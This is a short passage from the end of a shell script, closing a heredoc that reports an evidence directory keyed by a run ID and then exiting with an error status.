  Evidence: evidence/${RUN_ID}/
EOF
  exit 1
fi